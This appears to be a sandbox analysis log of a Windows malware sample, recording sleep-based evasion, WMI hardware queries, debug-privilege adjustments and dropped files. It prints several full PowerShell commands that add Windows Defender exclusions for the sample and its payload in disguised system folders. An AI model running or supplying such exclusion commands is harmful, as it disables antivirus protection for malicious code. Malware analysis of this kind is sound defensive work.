Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -588625s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -587469s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -586969s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -586578s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -586174s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -585844s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -585172s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -584218s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 5460	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -583813s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -583358s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -582750s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -582407s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -581938s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -581453s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -580407s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -580066s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -579625s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -579310s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -579171s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -579055s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -578920s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -578782s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -578438s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -577719s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -577514s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -577384s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -577188s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -577049s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -576873s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -576719s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -576532s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -576375s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -576263s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -576141s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -575969s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -575828s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -575682s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -575563s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -575358s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -574938s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -574607s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -574480s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -574284s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -574130s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -574000s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -573885s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -573775s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -573610s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -573482s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -573375s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -573256s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -573109s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -572996s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -572875s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -572766s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -572651s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -572479s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -571797s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -571668s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -571552s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -571407s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -571286s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -571125s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -571013s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -570903s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -570794s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -570672s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -570516s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -570369s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -570250s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -570134s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7780	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 1516	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\0wdppTE7Op.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Users\user\Desktop\0wdppTE7Op.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 599875
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 598891
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 598485
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 597938
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 3600000
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 596844
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 596157
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 595703
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 595235
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 594907
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 593907
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 593391
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 592797
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 592453
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 592188
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 592000
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 591375
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 590297
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 589891
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 589500
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 589032
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 588625
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 587469
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 586969
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 586578
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 586174
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 585844
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 585172
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 584218
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 300000
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 583813
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 583358
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 582750
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 582407
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 581938
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 581453
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 580407
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 580066
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 579625
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 579310
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 579171
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 579055
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 578920
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 578782
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 578438
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 577719
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 577514
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 577384
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 577188
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 577049
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 576873
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 576719
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 576532
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 576375
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 576263
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 576141
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 575969
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 575828
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 575682
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 575563
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 575358
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 574938
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 574607
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 574480
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 574284
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 574130
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 574000
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 573885
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 573775
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 573610
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 573482
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 573375
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 573256
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 573109
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 572996
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 572875
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 572766
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 572651
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 572479
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 571797
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 571668
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 571552
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 571407
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 571286
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 571125
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 571013
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 570903
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 570794
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 570672
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 570516
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 570369
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 570250
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 570134
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: w32tm.exe, 00000029.00000002.1797836267.0000023EB0259000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll2

Source: C:\Users\user\Desktop\0wdppTE7Op.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process token adjusted: Debug
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process token adjusted: Debug
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Process token adjusted: Debug
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Process token adjusted: Debug
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\0wdppTE7Op.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\RemotePackages\RemoteApps\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\twain_32\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\0wdppTE7Op.exe'
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\RemotePackages\RemoteApps\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\twain_32\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\0wdppTE7Op.exe'	Jump to behavior

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dj33wjwl\dj33wjwl.cmdline"	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\RemotePackages\RemoteApps\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\twain_32\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\0wdppTE7Op.exe'	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\rYfvxS8JxL.bat"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8919.tmp" "c:\Windows\System32\CSCC8A66A2F354641BDBF8E147B9A2D7E9B.TMP"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\0wdppTE7Op.exe "C:\Users\user\Desktop\0wdppTE7Op.exe"

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Users\user\Desktop\0wdppTE7Op.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
